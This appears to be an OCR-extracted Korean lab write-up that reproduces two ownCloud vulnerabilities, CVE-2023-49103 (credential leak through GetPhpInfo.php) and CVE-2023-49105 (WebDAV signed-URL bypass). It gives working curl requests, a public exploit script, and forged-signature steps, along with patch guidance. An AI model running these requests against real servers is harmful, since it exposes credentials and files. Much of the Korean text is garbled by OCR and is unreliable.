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CREATE ALERT EXPORT
146 results

T()p Countries MALICIOUS | HOSTING

United States

. . ORGANIZATION: Simply Transit Ltd AcTor: unknown  LAsST SEen: 2023-12-27

United Kingdom PREANIZA Py A¢ ASTS
counTrY: United Kingdom

China APACHE ACTIVEMQ RCE ATTEMPT PYTHON REQUESTS CLIENT TLS/55L CRAWLER

. WEB CRAWLER WORDPRESS BACKUP MIGRATION RCE ATTEMPT + 1 More

Germany

Netherlands

MALICIOUS | HOSTING
Classification

malicious 146 ORGANIZATION: DigitalOcean, LLC  AcToR: unknown LAST SEEN: 2023-12-27

ry: Germany

Z4: GreyNoise
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CVE-2023-49103 FoFdo]| 932 Hh= ownCloud o] HA-E tf&1 Zrt.

S/W & Fok HH
graphapi 0.2.0 ~ 0.3.0 2| ownCloud Docker
(2023 4 2 & O|= Docker O|O|X])

ownCloud

X EAR DA Y2 HYOIZE O graphapi & HX

o
oY

S #|orgol Loy,
CVE-2023-49105 FoFdo] 932 Hh= ownCloud o] HA-L o} Zrt.

Ss/wW g ot B

ownCloud 10.6.0 ~ 10.13.0

3 MOVEit : Progress Software oA 7Hdst 7148 wtd Hp AT E o]

* GoAnywhere : Fortra oA /gt mtd HE &34
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m HAE 3F 18 B=

HAE 34L& &6te] CVE-2023-49103 3+ CVE-2023-49105 €] 52 14L& A&}
o|& Me
Ubuntu-22.04.1
| sjf xt
E7{ 0|0|X|: ownCloud/server 10.12.1
SAXt Ubuntu-22.04.1

X oY FAH HIAE Al AWS 7|Hto] 2EIREZ AZALO] 1AM YR} ZetE|o ULt TPYSC

depends_on:
mariadb
redis
environment:
OWNCLOUD _DOMAIN=Llocalhost:8888
OWNCLOUD _TRUSTED DOMAINS=localhost
OWNCLOUD_DB_TYPE=mysql
OWNCLOUD DB NAME=owncloud
OWNCLOUD_DB_USERNAME=ownc loud ownCloud €73 HH
OWNCLOUD_DB_PASSWORD=owncloud
OWNCLOUD_DB_HOST=mariadb
OWNCLOUD_ADMIN_USERMNAME=eqst
OWNCLOUD_ADMIN PASSWORD=jruru
OWNCLOUD_MYSQL_UTF8MB4=
OWNCLOUD_REDIS_ENABLED=
- OWNCLOUD_REDIS_HOST=redis
- APACHE_LOG_LEVEL=traceb
OWNCLOUD_MAIL SMTP PASSWORD=smtp_ password
OWNCLOUD MAIL SMTP NAME=smtp username
OWNCLOUD_LICENSE KEY=jruru
OWNCLOUD OBJECTSTORE_KEY=owncloudl1234
OWNCLOUD_OBJECTSTORE_SECRET=secret1234 AWS Cloud &3 HH
OWNCLOUD_OBJECTSTORE_REGION=us-east-1
OWNCLOUD_TRUSTED_DOMAINS=localhost,192.168.100.175,192.168.100.176,192.168.102.57
healthcheck:

13 4. ownCloud docker AR
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B o H2E

- ownCloud AX =& F 3 (CVE-2023-49103)

S

b

Step 1) WA= ownCloud F41 AtO|EClA] AFdHs docker Ax WHE 7ghoz Fof

HZA 9] ownCloud AHE 53Tt

- ownCloud docker AX]: https://doc.owncloud.com/server/next/admin_manual/installation/docker/

$ docker-compose up -d

-d &M: detach ZEE B2 EE docker & M3A|F|

LY

2 M
H =

rir

¥ 0|, OWNCLOUD_TRUSTED_DOMAINS O SZRte| FAE FItoior oict sig 43 2 H% 318 Ip 0|0, i ol

HHSHA 280 U B AF0M HZO| 2715t Y FFH 2480 =7t3tct

[+1 eqst@eqgst: ~fowncloud

S sudo docker-compose up -d

Starting owncloud mariadb ...

Starting owncloud_redis ooo

Starting owncloud server ...
3 s

=

19 5. ownCloud A¥ +&
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Step 2) TAAE ofdle] WHIE Fel WE AH F shbal B ARS A5F & Ack
- PoC FE: https://github.com/apiOcradle/CVE-2023-23397-POC-Powershell

- TE GA

$ curl -i 'http://[T| S X} A‘IH'I]/apps/graphapi/vendor/microsoft/microsoft-graph/tests/GetPhpInfo

php/[EEXH | grep [AME 2XIHE

- HO]2E (192.168.100.176:8080 ownCloud A{E{0flA{ ADMIN ZA)
$ curl -i 'http://192.168.100.176:8080/apps/graphapi/vendor/microsoft/microsoft-graph/tests/Ge
tPhpinfo.php/.css' | grep ADMIN

X - g Y HeE Zs B

attcker@attcker: ~ @ — m|

:S curl -i "http://192.168.100.176:80808/apps/graphapifvendor/mic
rosoft/microsoft-graph/testsfGetPhpInfo.php/.css' | grep ADMIN
% Total % Recelved % Xferd Average Speed Time Time Time Current
DIIGET IV IGET Total mpent Left Speed
0 : : 0 0 3] 0 B --1--:1-- - -~ f<t

r><td class =SERVER_ </td><td class="v' =wcbmaqtermlocalhoqt ftd, </tr=>
<tr=<td "e!'=0WNCLOUD _USERMAME </td=<td class="v">eqst «<ftd></tr=>
<tr=<td "e">0WNCLOUD_ _PASSWORD <j/td=<td class="v"=jruru </td=<ftr=>
<tr=<td "=APACHE_SERVER_ </Td><Td class="v"'>webmaster@localhost </t

_SERVER[ 'SERVER _ 'l</td=<td class="v"=webmaster@localhost

a9 6. 34 Holz= d3

folz=o dF 7t A HAEE ofFjel #ow, s SrES AAE Ao IE
S1) ALgELE AT e el Fopd A Bl slg 4 glrt
23| 7hs3 HERt
.Css Js .svg gif .png
html woff .ico Jjpg Jpeg
Json .properties .min.map Js.map .auto.map
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- ownCloud 1% 93] F9F-(CVE-2023-49105)

Step 1) -5AA= PoC 7F AH git wda EHARE F, a2t ownCloud A F49F ARGAL

ID & olgste dHolz=g 2Rttt HolzE= A9 Al FHT 7Fs¥ WebDAV H& F4AE
gl & ek
- PoC FE: hteps://github.com/ambionics/owncloud—exploits

$ git clone https://github.com/ambionics/owncloud-exploits

4 7= OAl= of2fet 2Lk

$ python3 pwncloud-webdav.py http://[3ZXt MH:ZE] [ID HE]

$ python3 pwncloud-webdav.py http://192.168.100.176:8080 egst

X O|H, OWNCLOUD_TRUSTED_DOMAINS Off SZRXte| FAE FItofor oot sy €78 U2 & A& Ip o0, 3 kol

=
A 2EEOf US FP AR0AM 20| 2716t i FAFH 480 2715t

LY

I~ attcker@attcker: ~/cve-2023-49105 Q =

- $ sudo python3 pwncloud-webdav.py http://19
2.168.100.176:8080 eqst

Proxy server running on localhost:8800

Browse user files:
dav://anonymous@localhost:8800/remote.php/dav/files/eqst

Browse everything: dav://anonymous@localhost:8800/remote.php/dav

19 7.PoCE &% 34 A&
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https://github.com/ambionics/owncloud-exploits

Step 2) EHeIgt FA4AE Eo WL 2F glo] WebDAV AH H&o| 7456b, A5 WebDAV
Al Hg AR B e )/ A 5 T B A Aot AFsste,
r |

{ |::_l anonymous ... alhost:8800 / Documents : Q = | v = = O X

© Recent New Folder Shift+Cerl+N

* Starred o EQST Lab. Example. Add to Bookmarks tri+

Ext odt
it Home Select All trl+A
[ Documents o Openin Terminal ]
Propert
¥ Downloads : \gi

=1 attcker@attcker: /run/user/1000/gvfs/dav:host=localhost,port=8800,ssl...

@ echo "EQSTLab" > "EQST_Lab. txt"

S cat EQST_Lab.txt
EQSTLab
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R R

- AR & F°Fd(CVE-2023-49103)
AR L= FHoFH(CVE-2023-49103)-2 docker W= A|&5H= ownCloud 9] default 2%
T2 Graph API(graphap)® Q18 A oh= FH ot graphapi &= phpinfo() 5 55l
Z9Fe PHP 4 AHE E¥ste 9 ZholEe|2]Ql “GetPhplnfo™& ARE-SHT

GetPhplnfo & graphapi & JEZQIERA QIFHZR] ok Ah&xrt QFoA A Hilo]
= AAsfoF st okt HeFsE el ownCloud & A A9, =z %

2o mlgste] QIFEZR] g2 FAAE &JFoA GetPhplnfo of 25 Hste] W %
=

E

?__% 3 j= E—
g5 4 Stk 53] Docker & ©]-83t ownCloud & 5 41, &4 ¥4E Fof d=A
2 Y AE, ZEREC 1AM AJEe Z2 v Hlolgrt xetd AHz FAAHER ZES

HA, FoFH =el& 9Is GetPhplnfo.php o A% HIT& Al=siEH, 302 -89 FE(Temporarily
Moved)E wt&sts 27121 o2}l index.php 2 A&l =2 | Mdsto] HLo] BE7Fsottt.

attcker@attcker: ~fcve-2023-49105 Q = - O

vendorfmlcrosoftfmlcrosoft graph/tests/GetPhpInfo.php’
HTTP/1.1 382 Found
Date: Tue, 02 Jan 2024 01:26:43 GMT I

S curl -i 'http://192.168.100.176: aﬂaﬂjapps;graphaplf‘

Server: Apache

39 9. GetPhplnfo.php A AT Al
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= ownCloud 9] .htaccess T HAHE& B3 HAA Aloj7p F&E o] 917] whEolth hraccess
1S SIS EE mod rewrite * BES Bo ZAT dAeA] @ RE QL 302 g
P2keh 7, index.php Ho|A 2 2HH A SIS A= o] ot

rookt@9671d5c04124: /varfwwwj/owncloud

ErrorDocument 403 fcore/templates/403.php

ErrorDocument 404 fcorc}tcmplatcsf404 php

<IfModule mod_rewrite.c> @& 42|
Options -Multiviews
RewriteRule ~favicon.ice$ core/img/favicon.ico [L]
RewriteRule ~corefjsfoc.js$ index.php [PT,E=PATH_INF0:$1]
RewriteRule “~core/preview.png$ index.php [PT,E=PATH INF0:51]
RewriteCond %{REQUEST_URI} !\.(css|js|svg|gif|png|html|ttf|woff|ico|]jpg|]jpeg|json|properties)s
RewriteCond %{REQUEST_URI} !\.({min|js|aute))\.map$
RewriteCond %{REQUEST URI} !~/core/img/favicon\.1ico$
RewriteCond %{REQUEST URI} !*/robots).txt$
RewriteCond %{REQUEST_URI} !~/remote) .php
RewriteCond %{REQUEST_URI} !~/public)\.php
RewriteCond %{REQUEST_URI} !~/cron\.php
RewriteCond %{REQUEST_URI} !~/corefajax/update\.php
RewriteCond %{REQUEST_URI} !~/status\.php$
RewriteCond %{REQUEST_URI} !“~/ocs/v1\.php
RewriteCond %{REQUEST_URI} !*/ocs/v2\.php
RewriteCond %{REQUEST_URI} !”~/updater/
RewriteCond %{REQUEST_URI} !~/ocs-provider/
RewriteCond %{REQUEST_URI} !~/ocm-provider/
RewriteCond %{REQUEST URI} !~/\.well-known/(acme-challenge|pki-validation)/.*
RewriteRule . index.php [PT,E=PATH_INF0:51] E| EIE_iHiI _?_] :J(I
HewriteBase |

19 10. .htaccess &Y W9 mod_rewrite &

® mod_rewrite : A|H Request & A3 Rule o] 9J5] t+2 URL Ei= File & YA 1= &
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ofgfioll AelH A= mod rewrite o 2ol siFE ] b= FHAE htacess B Fe AN A
Aol 3] g WHo Aga)
23| Jts3t =EA dY
CSS(Cascading Style Sheets)= HTML 82471 3tHO| HA|Z|E HAZ Folsh nby
css
&Alo|ct
js ¢ Ho|X|o M A&t st JSUavaScript)y RESE EdStE IHY HWAO|CH,
SVG(Scalar Vector Graphics)& O|0|X] 2¥Z A7 gt XML 7|8t 8HAE m
.SV
9 g4jo|ct.
. GIF(Graphics Interchange Format)= X2 O[0|X| £ ZYS CHY mMYE ZAgst
9 ojLipjold S == Fe HiCle Y HAlo|C
PNG(Portable Network Graphi= &4 OIO|H =2 X|st0 oM =S
P9 EHsHE 0[0|x] Y HAJo|ct
bl HTML(Hypertext Markup Language)2 & HO|X|2} 1 W8S FXR5H7| sk AL&St=
o 0+ #Ajolc
.woff woff ¢l T2 WOFF(Web Open Font Format)& 7|gtC 2 st= & 25 ot FA0|Ct
iico S8 Z2IUES LIEH = OI0|22 2 AEE|= O|0[X| mte FAlo|Ct,
:Jpg JPEG(Joint Photographic Experts Group)2| 2AtZ, C|X|E O|O|X|E ot m &F40|Ct
Jpeg
. JSON(JavaScript Object Notation)2 AMEHO| &4 #= U= HAEE AESIY HO|HE
on HEBL Hashe HolH 295 Yo BE 0t WAo|ct
) properties = 88& ZEIMO| 14 Jtsot MEt0[HES MESH7| fIsi AtHr 23 7|2
.properties m2 ARSI T HAO|C
.min.ma
. P Application 2E Al MHE|= map DIHYS LE & HAOAOl HzZ2lof 2ZE Z|AS M,
Jjs.ma
>-mab Mo, 47t XY Address S 7|28 £2 T HAlo|ct
.auto.map
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weba] s SHFAES ZFSe] GetPhplnfophp S AH AT QA4sH AAA Ao FAS

ex) /apps/graphapi/vendor/microsoft/microsoft/graph/tests/GetPhplnfo.php/.css
ex) /apps/graphapi/vendor/microsoft/microsoft/graph/tests/GetPhplnfo.php/.png

$ cat result.txt

//192.168. . :8080/apps/graphapi/vendor/microsoft/microsoft-graph/tests,/GetPhpInfo. .html
://192.168.100. :8080/apps/graphapi/vendor/microsoft/microsoft-graph/tests,/GetPhpInfo. .Jjs
:f/192.168.100.176:8080/apps/graphapi/vendor/microsoft/microsoft-graph/tests, GetPhpInfo. N of
:f/192.168.100.176:8080/apps/graphapi/vendor/microsoft/microsoft-graph/tests, GetPhpInfo. .woff
//192.168. . :8080/apps/graphapi/vendor/microsoft/microsoft-graph/tests,/GetPhpInfo. .5vg
//192.168. . :8080/apps/graphapi/vendor/microsoft/microsoft-graph/tests,/GetPhpInfo. .png
//192.168. . :8080/apps/graphapi/vendor/microsoft/microsoft-graph/tests,/GetPhpInfo. .ico
//192.168. . :8080/apps/graphapi/vendor/microsoft/microsoft-graph/tests,/GetPhpInfo. .min.map
[/192.168. 5 :8080/apps/graphapi/vendor/microsoft/microsoft-graph/tests,/GetPhpInfo. JEtF
:f/192.168.100. :8080/apps/graphapi/vendor/microsoft/microsoft-graph/tests,/GetPhpInfo. .Jpg
:f/192.168.100.176:8080/apps/graphapi/vendor/microsoft/microsoft-graph/tests, GetPhpInfo. .properties
://192.168.100.176:8080/apps/graphapi/vendor/microsoft/microsoft-graph/tests /GetPhpInfo. .gif
:f/192.168.100.176:8080/apps/graphapi/vendor/microsoft/microsoft-graph/tests, GetPhpInfo. .json
:f/192.168.100.176:8080/apps/graphapi/vendor/microsoft/microsoft-graph/tests, GetPhpInfo. .auto.map
//192.168. . :8080/apps/graphapi/vendor/microsoft/microsoft-graph/tests,/GetPhpInfo. .js.map

[/192.168. 5 :8080/apps/graphapi/vendor/microsoft/microsoft-graph/tests, GetPhpInfo. jpeg

a9 11 FFAE T A Ao 13 £3]
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- 9% 3 FFH(CVE-2023-49105)

VE-2023-49105 3242 ownCloud core 9] u]&3st AZ 2207 ol5)] HAsl= kAol
A= wefiake] ID AEEE 91 gleje, B2 A URL & F3) WebDAV API 9] 135S
glsto] oAt Aol HE npdof Higt AAA drte fE5T 1o},

1% =22 SignedUrl o] Verifier.php o &AstH, 3

d& ASshedl ARSI,

O

]

-

ofl > ﬂllO
b
o

P>
I

or =

A9¥=E URL ¢

rr

Jo A Ho ofd
l:ol[ 19 joT o
ol

public function signedRequestIsValid(): beool {
$params = $this->getQueryParameters();
if (lisset($params['0C-Signature’], $params[ 'OC-Credential’'], $params['0C-Date'], $params['OC-Expires’],
$params["0C-Verb'])) {
%g = \json_encode(%params);
\OC: :$server->getLogger()->debug("Query parameters are missing: $q", ['app’ => 'signed-url']);
return false;

1

$urlSignature = $params[’'0C-Signature’];

furlCredential = $params[ 0C-Credential’];

$urlDate = $params['0C-Date']; = = o
$urlExpires = $params['0C-Expires’]; kllg '—I URL =5 |—Ix|-
$urlverb = ‘\strtoupper($params[‘'0C-Verb']);

$algo = $params[ '0C-Algo’'] ?? 'PBKDF2/18888-SHAS12';

unset($params[ '0C-Signature’'], $params['0C-Algo']);

a9 12. 4% URL #F I#

Asol AEHE Sl det A9 ohs3 Zoh olnf, OC-Signature a2 At A&
dolo] gror HA 7Hssh, OC-Signature 7} 8 AF AAR AgHLY

oI} EE | 0 A|
OC-Signature AR ME 2 64 Z0[2| Hash 2X+E
OC-Credential AHEXLOl 0|2 admin, user S5
OC-Date MY Btz 9R 2023-12-20
OC-expires MY 27|17t (712 &b 1200
OC-Verb HTTP Method ‘24! GET, POST
OC-Algo AR ZE|E PBKDF2 7|t sha512 YH= 3= 10000

OC-Signature & H%oh= verifySignature 228 AHHEWH computeHash &4+5 Fd ASS
T35k, AFEAEY] signingKey & 719he= A/4J9t Hash 41 OC-Signature & B 5o AMGAE
Ask= AS o 4 QUth
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private functionlverifysignature{aﬂray $params, %urlCredential, %algo, $urlSignature):|bool {

$trustedlist = $this->config->getSystemValue( trusted_domains', []);
$signingKey = $this->config->getUserValue($urlCredential, ‘core’, 'signing-key');
$qp = ‘\preg_replace( ' /%5B\d+%5D/", "%S5BXSD', ‘http_build query($params));

foreach ($trustedList as $trustedDomain) {
foreach (['https', 'http'] as $scheme) {
$url = ‘\Sabre‘\Uri\parse($this->getAbsoluteUrl());
furl['scheme’'] = $scheme;
$url["host'] = $trustedDomain;
furl["query’] = $qp;
furl = ‘\Sabre\Urii\build($url);

$hash = $this->computeHash($algo, $url, $signingKey);
if ($hash === $urlsignature) {

return true;
b
\OC: :$server->getLogger( )->debug("Hashes do not match: $hash !== $urlsign
$signingKey url: $url™, ["app’' => "signed-url']);

}

return false;

ature (used key:

39 13. verysignature &<

A EA4E 96l computeHash &E AHHEWA AR signingKey & X
A1 e]E-S 7|9e s SHAS512 Hash & AHERt 64 HIE Zolo] AT gk sk

protected function|computeHash(string $algo, string $url, $signingkey)|{
if (\preg match{'/~{.*)\/(.*)-(.*)%/", $algo, Soutput)) {

if ($output[1] !== "PBKDF2') {
return false;

}

if ($output[3] !== "SHAS512") {
return false;

F

$iterations = (int)$output[2];
it ($iterations <= @) {
return false;
h;
return ‘hash_ pbkdf2("sha512", furl, $signingkKey, %$iterations, &4,

false);

}

return false;

9 14. computeHash g4
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F kst #H 9] ownCloud core = AFHEAHS] signingKey Default #-2 Hl R =2 A% otal JA|gt,
QA signingKey 39l W BAD RE SIS AF 20| wekslo] ot Gebd, BARE
ML O] signingKey & 48 29 glo] PBKDF2-sha512 ¢112]& 7|9t Hash & ¥o=
B0 AYE RL o H2E S god, 95 A4 Asih FAAE olF o8
WebDAV of el wafjat 4o mpdo] dAMA AlojE g5 4 Urh

N

ol AHE JMer 1F %9 FfHe S PoC HZAEAM At EQST_Lab.txt
Aok W2 offiet 2ok 4 492 A¥E URL & 457 18] WebDAV URL &
ZIgre 2 g OC-Signature A% Hash -2 A3t}

- WebDAV ZH=Z
[mlsixt  MH]/remote.php/dav/files/[AEXF  ID]/[THY ”E]?OC—Credential=[*I‘%XI' ID]&OC-

Date=[E®&OC-Expires=[TtE2 YXH&OC-Verb=[HTTP M
WebDAV

4=

- X oAl
192.168.100.176:8080/remote.php/dav/files/eqst/Documents/EQST_Lab.txt?OC-Credential=eqst&0OC-
Date=2024-12-20&0C-Expires=1200&0C-Verb=GET

- Hash A4 (&AL AFo]E: https://onlinephp.io/hash—pbkdf2)

Hash Pbkdf2 Online Tool Manual Code Examples

Salgo =
shas12 |HOE|F

= cd
Spassword = _I'__xl- =
[ http://192.168.100.176:8080/remote._php/davifiles/eqstiDocuments/EQST_Lab txt?0C-Credential=eqst&0C-L I

Ssalt =

Siterations =

PHP Version:| 8.2.13 v

Result:

| fed39dfd4203d1 7F 22050007100 dadc7193c557ed25 Fechadiaell0bed7504f | OC-Si gn ature 2t

19 15. Hash B4
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Wl AYE URL 9 ola] & RE F7bstel agsid o] 328 4 988
o1t

ro I
ok L

Jok of
Ol
$ 2

- oty HZ (GET HIAE)

$ curl 'http://192.168.100.176:8080/remote.php/dav/files/eqst/Documents/EQST_Lab.txt?OC-
Credential=eqst&0OC-Date=2024-12-20&0C-Expires=1200&0C-Verb=GET&OC-
Signature=fed39dfd4203d17f220599b7f99fda4c7193c557ed257ec83d6ae009bed7594f'

- oY M (PROPFIND H|£AE)

$ curl -X PROPFIND "http://192.168.100.176:8080/remote.php/dav/files/eqst/Documents?OC-
Credential=eqst&0C-Date=2024-12-20&0C-Expires=1200&0C-Verb=PROPFIND&OC-
Signature=c566237b5b34e3490099a435c725f1c4a8f8f5c8e1cb7b3b9631fa06f36220ee"

attcker@attcker: ~ Q) — O

:% curl '"http://192.168.100.176:8080/remote.php/dav/filesfeqst/Doc

uments fEQST_Lab.txt?0C-Credential=eqst&0C-Date=2024-12-2080C-Expires=1200&0C-Verb=
GET&0C-Signature=fed39dfd4203d17f220599b7f99fdad4c7193c557ed257ec83d6aeff9bed7594f"'
EQSTLab
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1) AHE & FoFH(CVE-2023-49103)

Hoker W19 ownCloud ol A, A% AR 23 9 07 4R FEWE oplst Zeu
WA 5 ok W ol

2EY, SHE A4 FH o8 T AAAER] AAH S
WA5k7] 918 GetPhplnfo.php T A4 @ phpinfo 7152 HEAJ3 six]7F 3P graphapi
0.3.1 ol HHoz AHo|EE FIdsfof gt

e

Disclosure of sensitive
credentials and configuration in
containerized deployments Action taken

Nov 21,2023 Delete the file

owncloud/apps/graphapi/vendor/microsoft/microsoft-

graph/tests/GetPhpinfo.php. Additionally, we disabled the phpinfo

® Risk: critical function
* CVSS5v3 Base Score: 10 in our docker-containers. We will apply various hardenings in
& CVSSv3 Vector: AV:IN/ACL/PR:N/ULN/S:C/C:H/I:H/A:H future core releases to mitigate similar vulnerabilities.

¢ CWEID: CWE-200
* CWE Mame: Exposure of Sensitive Information to an

Unauthorized Actor

%7 ownCloud 4] Z#o]A]

a9 17. BB & FHoFd #x Wy

ok
4
il

B wAd GelelE} olele A WAWET FUsHA ST GePhplnfo.php
sEow wBAL S A e 5 At
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2)

Foket B9 ownCloud & AF&sh=
majatrt AR ool HAA, £=F

TAdokA] 2 A%, vy AEE URL

ol HH o= AHolEE ZIPsfoF gt

private function verifySignature(array $params, $urlCredential, $algo, $urlSignature): bool {
$trustedList = $this-»config->getSystemvalue( ' trusted_domains®, []);
$signingKey = $this->config->getUserValue($urlCredential, ‘core’, ‘signing-key');

© AEE URL 2 E38] WebDAV API & 235|619
2 A7V 7Hs 5t E}EW g AfAE MY 7E
B35l Aol B7=ste = 1% st ownCloud 10.13.1

tlo W2 o

if ($signingKey === "") {
OC::$server->getLogger()->error("No signing key available for the user $urlCredential. Access via

pre-signed URL denied.™, ['app’' =»> "signed-url']};
ZF ==
return false; IEI_I )"-l% HA :glo EJ&I

}
$qp = \preg_replace(’ /¥5B\d+%5D/', "%S5BZSD", ‘http_build_query($params));

foreach ($trustedList as $trustedDomain) {
foreach (['https', "http'] as $scheme) {
$url = \sabre\Uri\parse($this->getAbsoluteUrl());
$url['scheme’] = $scheme;
$url[ "host"'] = $trustedDomain;
furl['query’] = $qp;
$url = \Sabre\Uri\build(%url);

a9 18. 9F 93 FAFd A W

27 WA AHOlET} ofele A AEAE 4508 AW 8 AN Ao %
Aorde e 4 9lnt,

ek % F/0E ownCloud AHE thdo=z oFo|xQl A8A7E Fdoto] of-go]
Hekdoldt. whebA|, & FHoEat ofyet grog WA 7Hesh HekdogHE AAHor

QX2 OWNCLOUD_TRUSTED_DOMAINS A4 &3] H<& 318 Ip 222 75
AT Alo] 4 P55t AHgoh= AS dagith olgh ZAE AHESttH HHaAE
A HetS 7F3let 4= 9l Aol
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« URL : https://www.labs.greynoise.io//grimoire/2023-12-05-owncloud—again—again/
« URL : https://www.ambionics.io/blog/owncloud—-cve—2023-49103-cve—2023-49105

+ URL : github.com/rapid7/metasploit—framework/blob/master/documentation/modules/auxiliary/gather

/owncloud_phpinfo_reader.md
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